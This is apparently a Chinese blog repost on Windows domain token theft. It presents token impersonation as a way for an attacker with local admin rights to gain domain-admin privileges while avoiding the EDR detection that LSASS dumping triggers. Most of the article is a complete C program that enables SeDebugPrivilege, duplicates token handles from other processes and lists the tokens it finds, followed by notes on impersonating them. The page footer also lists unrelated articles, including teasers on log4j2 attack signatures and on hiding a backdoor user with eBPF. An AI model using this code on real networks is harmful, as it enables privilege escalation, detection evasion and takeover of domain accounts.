域内令牌窃取

前言

有这样一种场景,拿到了一台主机权限,是本地管理员,同时在这台主机上登录的是域管成员,这时我们可以通过dump lsass或通过 Kerberos TGT ,但是这是非常容易被edr命中的。

本文就通过令牌窃取进行研究,并希望知道其中的具体细节。

通过dump lsass

此时你能够通过dump lsass或者等绕过方式抓取到域管用户的ntlm hash,通过这个hash然后再去pth等方式利用,但在有edr环境中,这是很容易被hunt的。

token list

我们可以获取当前主机上所有的token并列出,因为我们此时拥有本地管理员权限,通过Debug

#include <stdio.h>
#include <windows.h>
#include <winternl.h>
#include <lm.h>
#pragma comment(lib, "netapi32.lib")
#pragma comment(lib, "ntdll")#define MAX_USERNAME_LENGTH 256
#define MAX_DOMAINNAME_LENGTH 256
#define FULL_NAME_LENGTH 271
#define TOKEN_TYPE_LENGTH 30
#define COMMAND_LENGTH 1000
#define STATUS_SUCCESS                          ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH             ((NTSTATUS)0xC0000004L)
#define STATUS_BUFFER_OVERFLOW                  ((NTSTATUS)0x80000005L)
#define SystemHandleInformation                 16
#define SystemHandleInformationSize             1024 * 1024 * 10typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {USHORT ProcessId;USHORT CreatorBackTraceIndex;UCHAR ObjectTypeIndex;UCHAR HandleAttributes;USHORT HandleValue;PVOID Object;ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;typedef struct _SYSTEM_HANDLE_INFORMATION {ULONG NumberOfHandles;SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
}  SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;typedef enum _POOL_TYPE {NonPagedPool,PagedPool,NonPagedPoolMustSucceed,DontUseThisType,NonPagedPoolCacheAligned,PagedPoolCacheAligned,NonPagedPoolCacheAlignedMustS
} POOL_TYPE, * PPOOL_TYPE;typedef struct _OBJECT_TYPE_INFORMATION {UNICODE_STRING Name;ULONG TotalNumberOfObjects;ULONG TotalNumberOfHandles;ULONG TotalPagedPoolUsage;ULONG TotalNonPagedPoolUsage;ULONG TotalNamePoolUsage;ULONG TotalHandleTableUsage;ULONG HighWaterNumberOfObjects;ULONG HighWaterNumberOfHandles;ULONG HighWaterPagedPoolUsage;ULONG HighWaterNonPagedPoolUsage;ULONG HighWaterNamePoolUsage;ULONG HighWaterHandleTableUsage;ULONG Inis_token_validAttributes;GENERIC_MAPPING GenericMapping;ULONG is_token_validAccess;BOOLEAN SecurityRequired;BOOLEAN MaintainHandleCount;USHORT MaintainTypeList;POOL_TYPE PoolType;ULONG PagedPoolUsage;ULONG NonPagedPoolUsage;
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;typedef UNICODE_STRING OBJECT_NAME_INFORMATION;
typedef UNICODE_STRING* POBJECT_NAME_INFORMATION;using fNtQuerySystemInformation = NTSTATUS(WINAPI*)(ULONG SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength
);typedef struct {HANDLE token_handle;int token_id;wchar_t owner_name[FULL_NAME_LENGTH];wchar_t user_name[FULL_NAME_LENGTH];wchar_t TokenType[100];wchar_t TokenImpersonationLevel[100];
} TOKEN;void get_token_owner_info(TOKEN* TOKEN_INFO) {wchar_t username[MAX_USERNAME_LENGTH], domain[MAX_DOMAINNAME_LENGTH], full_name[FULL_NAME_LENGTH];SID_NAME_USE sid;DWORD user_length = sizeof(username), domain_length = sizeof(domain), token_info;if (!GetTokenInformation(TOKEN_INFO->token_handle, TokenOwner, NULL, 0, &token_info)) {PTOKEN_OWNER TokenStatisticsInformation = (PTOKEN_OWNER)GlobalAlloc(GPTR, token_info);if (GetTokenInformation(TOKEN_INFO->token_handle, TokenOwner, TokenStatisticsInformation, token_info, &token_info)) {LookupAccountSidW(NULL, ((TOKEN_OWNER*)TokenStatisticsInformation)->Owner, username, &user_length, domain, &domain_length, &sid);_snwprintf_s(full_name, FULL_NAME_LENGTH, L"%ws/%ws", domain, username);wcscpy_s(TOKEN_INFO->owner_name, TOKEN_TYPE_LENGTH, full_name);}}
}void get_token_user_info(TOKEN* TOKEN_INFO) {wchar_t username[MAX_USERNAME_LENGTH], domain[MAX_DOMAINNAME_LENGTH], full_name[FULL_NAME_LENGTH];DWORD user_length = sizeof(username), domain_length = sizeof(domain), token_info;SID_NAME_USE sid;if (!GetTokenInformation(TOKEN_INFO->token_handle, TokenUser, NULL, 0, &token_info)) {PTOKEN_USER TokenStatisticsInformation = (PTOKEN_USER)GlobalAlloc(GPTR, token_info);if (GetTokenInformation(TOKEN_INFO->token_handle, TokenUser, TokenStatisticsInformation, token_info, &token_info)) {LookupAccountSidW(NULL, ((TOKEN_USER*)TokenStatisticsInformation)->User.Sid, username, &user_length, domain, &domain_length, &sid);_snwprintf_s(full_name, FULL_NAME_LENGTH, L"%ws/%ws", domain, username);wcscpy_s(TOKEN_INFO->user_name, TOKEN_TYPE_LENGTH, full_name);}}
}void get_token_security_context(TOKEN* TOKEN_INFO) {DWORD returned_tokimp_length;if (!GetTokenInformation(TOKEN_INFO->token_handle, TokenImpersonationLevel, NULL, 0, &returned_tokimp_length)) {PSECURITY_IMPERSONATION_LEVEL TokenImpersonationInformation = (PSECURITY_IMPERSONATION_LEVEL)GlobalAlloc(GPTR, returned_tokimp_length);if (GetTokenInformation(TOKEN_INFO->token_handle, TokenImpersonationLevel, TokenImpersonationInformation, returned_tokimp_length, &returned_tokimp_length)) {if (*((SECURITY_IMPERSONATION_LEVEL*)TokenImpersonationInformation) == SecurityImpersonation) {wcscpy_s(TOKEN_INFO->TokenImpersonationLevel, TOKEN_TYPE_LENGTH, L"SecurityImpersonation");}else if (*((SECURITY_IMPERSONATION_LEVEL*)TokenImpersonationInformation) == SecurityDelegation) {wcscpy_s(TOKEN_INFO->TokenImpersonationLevel, TOKEN_TYPE_LENGTH, L"SecurityDelegation");}else if (*((SECURITY_IMPERSONATION_LEVEL*)TokenImpersonationInformation) == SecurityAnonymous) {wcscpy_s(TOKEN_INFO->TokenImpersonationLevel, TOKEN_TYPE_LENGTH, L"SecurityAnonymous");}else if (*((SECURITY_IMPERSONATION_LEVEL*)TokenImpersonationInformation) == SecurityIdentification) {wcscpy_s(TOKEN_INFO->TokenImpersonationLevel, TOKEN_TYPE_LENGTH, L"SecurityIdentification");}}}
}void get_token_information(TOKEN* TOKEN_INFO) {DWORD returned_tokinfo_length;if (!GetTokenInformation(TOKEN_INFO->token_handle, TokenStatistics, NULL, 0, &returned_tokinfo_length)) {PTOKEN_STATISTICS TokenStatisticsInformation = (PTOKEN_STATISTICS)GlobalAlloc(GPTR, returned_tokinfo_length);if (GetTokenInformation(TOKEN_INFO->token_handle, TokenStatistics, TokenStatisticsInformation, returned_tokinfo_length, &returned_tokinfo_length)) {if (TokenStatisticsInformation->TokenType == TokenPrimary) {wcscpy_s(TOKEN_INFO->TokenType, TOKEN_TYPE_LENGTH, L"TokenPrimary");}else if (TokenStatisticsInformation->TokenType == TokenImpersonation) {wcscpy_s(TOKEN_INFO->TokenType, TOKEN_TYPE_LENGTH, L"TokenImpersonation");}}}
}LPWSTR GetObjectInfo(HANDLE hObject, OBJECT_INFORMATION_CLASS objInfoClass) {LPWSTR data = NULL;DWORD dwSize = sizeof(OBJECT_NAME_INFORMATION);POBJECT_NAME_INFORMATION pObjectInfo = (POBJECT_NAME_INFORMATION)malloc(dwSize);NTSTATUS ntReturn = NtQueryObject(hObject, objInfoClass, pObjectInfo, dwSize, &dwSize);if ((ntReturn == STATUS_BUFFER_OVERFLOW) || (ntReturn == STATUS_INFO_LENGTH_MISMATCH)) {pObjectInfo = (POBJECT_NAME_INFORMATION)realloc(pObjectInfo, dwSize);ntReturn = NtQueryObject(hObject, objInfoClass, pObjectInfo, dwSize, &dwSize);}if ((ntReturn >= STATUS_SUCCESS) && (pObjectInfo->Buffer != NULL)) {data = (LPWSTR)calloc(pObjectInfo->Length, sizeof(WCHAR));CopyMemory(data, pObjectInfo->Buffer, pObjectInfo->Length);}free(pObjectInfo);return data;
}int wmain(int argc, wchar_t* argv[]) {HANDLE hToken;DWORD cbSize;HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &cbSize);PTOKEN_MANDATORY_LABEL pTIL = (PTOKEN_MANDATORY_LABEL)LocalAlloc(0, cbSize);GetTokenInformation(hToken, TokenIntegrityLevel, pTIL, cbSize, &cbSize);DWORD integrity_level = (DWORD)*GetSidSubAuthority(pTIL->Label.Sid, (DWORD)(UCHAR)(*GetSidSubAuthorityCount(pTIL->Label.Sid) - 1));if (integrity_level < SECURITY_MANDATORY_HIGH_RID) {printf("Low privilege, cannot use the impersonation technique...\n");return 1;}TOKEN_PRIVILEGES tp;LUID luidSeAssignPrimaryTokenPrivilege;printf("[?] Enabling SeAssignPrimaryToken\n");if (LookupPrivilegeValue(NULL, SE_ASSIGNPRIMARYTOKEN_NAME, &luidSeAssignPrimaryTokenPrivilege) == 0) {printf("\t[!] SeAssignPrimaryToken not owned!\n");}else {printf("\t[*] SeAssignPrimaryToken owned!\n");}tp.PrivilegeCount = 1;tp.Privileges[0].Luid = luidSeAssignPrimaryTokenPrivilege;tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;if (AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL) == 0) {printf("\t[!] SeAssignPrimaryToken adjust token failed: %d\n", GetLastError());}else {printf("\t[*] SeAssignPrimaryToken enabled!\n");}LUID luidSeDebugPrivivilege;printf("[?] Enabling SeDebugPrivilege\n");if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidSeDebugPrivivilege) == 0) {printf("\t[!] SeDebugPrivilege not owned!\n");}else {printf("\t[*] SeDebugPrivilege owned!\n");}tp.PrivilegeCount = 1;tp.Privileges[0].Luid = luidSeDebugPrivivilege;tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;if (AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL) == 0) {printf("\t[!] SeDebugPrivilege adjust token failed: %d\n", GetLastError());}else {printf("\t[*] SeDebugPrivilege enabled!\n");}CloseHandle(hProcess);CloseHandle(hToken);ULONG returnLenght = 0;TOKEN found_tokens[100];int nbrsfoundtokens = 0;fNtQuerySystemInformation NtQuerySystemInformation = (fNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation");PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, SystemHandleInformationSize);NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationSize, &returnLenght);for (DWORD i = 0; i < handleTableInformation->NumberOfHandles; i++) {SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i];HANDLE process = OpenProcess(PROCESS_DUP_HANDLE, FALSE, handleInfo.ProcessId);if (process == INVALID_HANDLE_VALUE) {CloseHandle(process);continue;}HANDLE dupHandle;if (DuplicateHandle(process, (HANDLE)handleInfo.HandleValue, GetCurrentProcess(), &dupHandle, 0, FALSE, DUPLICATE_SAME_ACCESS) == 0) {CloseHandle(process);continue;}POBJECT_TYPE_INFORMATION objectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(8192);if (wcscmp(GetObjectInfo(dupHandle, ObjectTypeInformation), L"Token")) {CloseHandle(process);CloseHandle(dupHandle);continue;}TOKEN TOKEN_INFO;TOKEN_INFO.token_handle = dupHandle;get_token_owner_info(&TOKEN_INFO);get_token_user_info(&TOKEN_INFO);get_token_information(&TOKEN_INFO);if (wcscmp(TOKEN_INFO.TokenType, L"TokenPrimary") != 0) {get_token_security_context(&TOKEN_INFO);}else {wcscpy_s(TOKEN_INFO.TokenImpersonationLevel, TOKEN_TYPE_LENGTH, L" ");}int is_new_token = 0;for (int j = 0; j <= nbrsfoundtokens; j++) {if (wcscmp(found_tokens[j].user_name, TOKEN_INFO.user_name) == 0 && wcscmp(found_tokens[j].TokenType, TOKEN_INFO.TokenType) == 0 && wcscmp(found_tokens[j].TokenImpersonationLevel, TOKEN_INFO.TokenImpersonationLevel) == 0) {is_new_token = 1;}}if (is_new_token == 0) {TOKEN_INFO.token_id = nbrsfoundtokens;found_tokens[nbrsfoundtokens] = TOKEN_INFO;nbrsfoundtokens += 1;}CloseHandle(process);}printf("\n[*] Listing available tokens\n");for (int k = 0; k < nbrsfoundtokens; k++) {printf("[ID: %d][%ws][%ws] Owner: %ws User: %ws\n", found_tokens[k].token_id, found_tokens[k].TokenType, found_tokens[k].TokenImpersonationLevel, found_tokens[k].owner_name, found_tokens[k].user_name);}return 0;
}

  • 由二进制文件本身生成的令牌 ID,用于标识令牌

  • 指示令牌是主令牌还是模拟令牌的令牌类型

  • 令牌的安全上下文,如果令牌是模拟令牌(这就是此字段对于主要令牌为空的原因)。有四种不同的值指示用户是否经过身份验证,是否可以模拟他们以及如何:

    • SecurityAnonymous:该进程无法识别系统上的用户,因此无法模拟他们(大多数相关线程是在使用匿名绑定进行非交互式日志记录后获得的)

    • SecurityIdentification:该进程可以识别系统上的用户但不能模拟他们

    • SecurityImpersonate:用户已通过身份验证,可以在本地系统上模拟

    • SecurityDelegation:用户已通过身份验证,可以在本地系统和远程系统上进行模拟

  • 令牌的所有者,创建它的人

  • 令牌关联的用户

可使用DuplicateTokenEx去复制一个令牌

通过DuplicateTokenEx去复制一个令牌后,有如下三种方式去模拟登录或创建进程

  • 使用ImpersonateLoggedOnUser函数

  • 创建新进程使用CreateProcessAsUser或者 CreateProcessWithToken

  • 使用LogonUser 函数

其中logonuser需要我们提供账号密码,我们不使用他

ImpersonateLoggedOnUser

可以直接将复制域管权限的令牌传入,在执行RevertToSelf函数之前都会以模拟令牌的权限进行运行

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/744382.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

pgsql常用索引简写

文章来源&#xff1a;互联网博客文章&#xff0c;后续有时间再来细化整理。 在数据库查询中&#xff0c;合理的使用索引&#xff0c;可以极大提升数据库查询效率&#xff0c;充分利用系统资源。这个随着数据量的增加得到提升&#xff0c;越大越明显&#xff0c;也和业务线有关…

《鸟哥的Linux私房菜》第6章——总结与习题参考答案

目录 一、 简介 二、一些新了解的指令 1.touch- 修改文件时间或创建新文件 2.umask-新建文件/目录的默认权限 3.文件隐藏属性 4.文件特殊权限 5.file-观察文件类型 三、简答题部分 一、 简介 本章介绍了一些常用的文件与目录指令&#xff0c;包括新建/删除/复制/移动/查…

2024HVV行动-进军蓝中研判(log4j2、fastjson、Struts2、Shiro)

1、log4j2 特征&#xff1a; 恶意请求中包含 JNDI 协议地址&#xff0c;如"ldap://"、"rmi://"等&#xff0c;被 log4j2 解析为 JNDI 查找。 原理&#xff1a; 在日志输出中&#xff0c;未对字符进行严格的过滤&#xff0c;执行了 JNDI 协议加载的远程恶…

教师如何搭建学生查询考试分数的平台?

随着信息技术的快速发展&#xff0c;搭建一个学生查询考试分数的平台已经成为现代教育管理的重要组成部分。这样的平台不仅可以提高成绩管理的效率&#xff0c;还能为学生提供便捷、及时的成绩查询服务。那么&#xff0c;作为教师&#xff0c;我们应该如何搭建这样一个平台呢&a…

【海贼王的数据航海】栈和队列

目录 1 -> 栈 1.1 -> 栈的概念及结构 1.2 -> 栈的实现 1.2.1 -> Stack.h 1.2.2 -> Stack.c 1.2.3 -> Test.c 2 -> 队列 2.1 -> 队列的概念及结构 2.2 -> 队列的实现 2.2.1 -> Queue.h 2.2.2 -> Queue.c 1 -> 栈 1.1 -> 栈的…

如何缩小你和大厂UI设计师之间的差距?重点关注你的作品集!

据说金三银四&#xff0c;在新一轮招聘旺季到来之前&#xff0c;你做过UI作品集吗&#xff1f;一个好的作品集可以为你的面试增加很多分数&#xff01;在开始之前&#xff0c;分享五个适合交互设计作品集的软件&#xff1a; 一、即时设计 这是一款专门为UI设计而设计的在线矢…

多线程(volatile)

volatile的功能 保证内存可见性禁止指令重排序 内存可见性 简单的理解 两(多)个线程同时针对一个变量进行操作, 一个线程读, 一个线程修改, 此时读到的值不一定是修改过后的值 即读线程没有感知到变量的变化 (其实是 编译器/JVM 对于代码在多线程情况下的优化进行了误判) 从 J…

Linux:设置别名命令alias

相关阅读 Linuxhttps://blog.csdn.net/weixin_45791458/category_12234591.html?spm1001.2014.3001.5482 在Linux中alias命令用于为一串字符&#xff08;常代表命令&#xff09;设置一个别名&#xff0c;该别名在Bash读取并解析一行命令时会被展开。 下面是该命令的语法。 用…

BOM

文章目录 1. BOM概述1.1 什么是BOM1.2 BOM构成 2. window 的常见对象2.1 窗口加载事件2.2 调整窗口大小事件 3. 定时器3.1 setTimeout()3.2 停止 setTimeout() 定时器3.3 setInterval()*案例--倒计时效果 3.4 清除setInterval() 定时器*案例--发送短信 3.5 this 指向问题 4. JS…

二叉搜索树题目:恢复二叉搜索树

文章目录 题目标题和出处难度题目描述要求示例数据范围进阶 解法一思路和算法代码复杂度分析 解法二思路和算法代码复杂度分析 解法三思路和算法代码复杂度分析 题目 标题和出处 标题&#xff1a;恢复二叉搜索树 出处&#xff1a;99. 恢复二叉搜索树 难度 5 级 题目描述 …

西门子PLC常用底层逻辑块分享_单/双输出电机

文章目录 前言一、功能概述二、单输出电机程序编写1.创建自定义数据类型2.创建FB功能块“单输出电机”3.编写程序 三、双输出电机程序编写1.创建自定义数据类型2.创建FB功能块“双输出电机”3.编写程序 前言 本文分享一个自己编写的电机控制逻辑块。 一、功能概述 手动状态、…

2024年1月粮油调味行业分析(TOP品牌/店铺/商品销售数据分析)

鲸参谋监测的某东1月份粮油调味市场销售数据已出炉&#xff01; 根据鲸参谋电商数据分析平台显示&#xff0c;今年1月份&#xff0c;某东平台上粮油调味品的销量约6200万件&#xff0c;环比上个月增长45%&#xff0c;同比去年下滑15%&#xff1b;销售额约25亿元&#xff0c;环…

Android 监听卫星导航系统状态及卫星测量数据变化

源码 package com.android.circlescalebar;import androidx.annotation.NonNull; import androidx.appcompat.app.AppCompatActivity; import androidx.core.app.ActivityCompat; import androidx.core.content.ContextCompat; import android.Manifest; import android.conte…

后渗透--利用ebpf隐藏后门用户

原理 首先我们要搞清楚ssh登陆的流程 先获取到ssh的pid 然后利用strace strace -f -p 830可以看到他打开了/etc/passwd去读取内容 那么我们的思路就很简单&#xff0c;hook ssh进程的read syscall exit,然后篡改返回内容 代码 ebpf // build ignore#include "my…

LeetCode2115. 从给定原材料中找到所有可以做出的菜

拓扑排序 题面 题目链接&#xff1a;2115. 从给定原材料中找到所有可以做出的菜 - 力扣&#xff08;LeetCode&#xff09; 你有 n 道不同菜的信息。给你一个字符串数组 recipes 和一个二维字符串数组 ingredients 。第 i 道菜的名字为 recipes[i] &#xff0c;如果你有它 所有…

html5cssjs代码 018颜色表

html5&css&js代码 018颜色表 一、代码二、效果三、解释 这段代码展示了一个基本的颜色表&#xff0c;方便参考使用&#xff0c;同时也应用了各种样式应用方式。 一、代码 <!DOCTYPE html> <html lang"zh-cn"> <head><title>编程笔记…

速卖通安全测评补单技术提升运营安全性

对于一个新品来说&#xff0c;最大的问题就是评论。没有评论&#xff0c;你的广告就不能打的很靠前&#xff0c;那样你的转化率就会非常低&#xff0c;数据也很差。新品运气不好的来两个一星差评&#xff0c;链接可能就此废掉&#xff0c;做不上去了。所以虽然平台管的非常的严…

智能工厂核心功能系统-MES生产管理系统

MES在未来智能制造中扮演着至关重要的角色&#xff0c;通过其在生产管理中的应用&#xff0c;将帮助企业实现智能化转型&#xff0c;提升生产效率和产品质量&#xff0c;推动整个制造业向着更加智能、高效、可持续的方向发展。 通过对MES在未来智能制造发展趋势中的地位进行深…

分布式系统互斥性与幂等性问题的分析解决

前言 随着互联网信息技术的飞速发展&#xff0c;数据量不断增大&#xff0c;业务逻辑也日趋复杂&#xff0c;对系统的高并发访问、海量数据处理的场景也越来越多。 如何用较低成本实现系统的高可用、易伸缩、可扩展等目标就显得越发重要。为了解决这一系列问题&#xff0c;系…

Redis持久化和集群

redis持久化 RDB方式 Redis Database Backup file (redis数据备份文件), 也被叫做redis数据快照. 简单来说就是把内存中的所有数据记录到磁盘中. 快照文件称为RDB文件, 默认是保存在当前运行目录. [rootcentos-zyw ~]# docker exec -it redis redis-cli 127.0.0.1:6379> sav…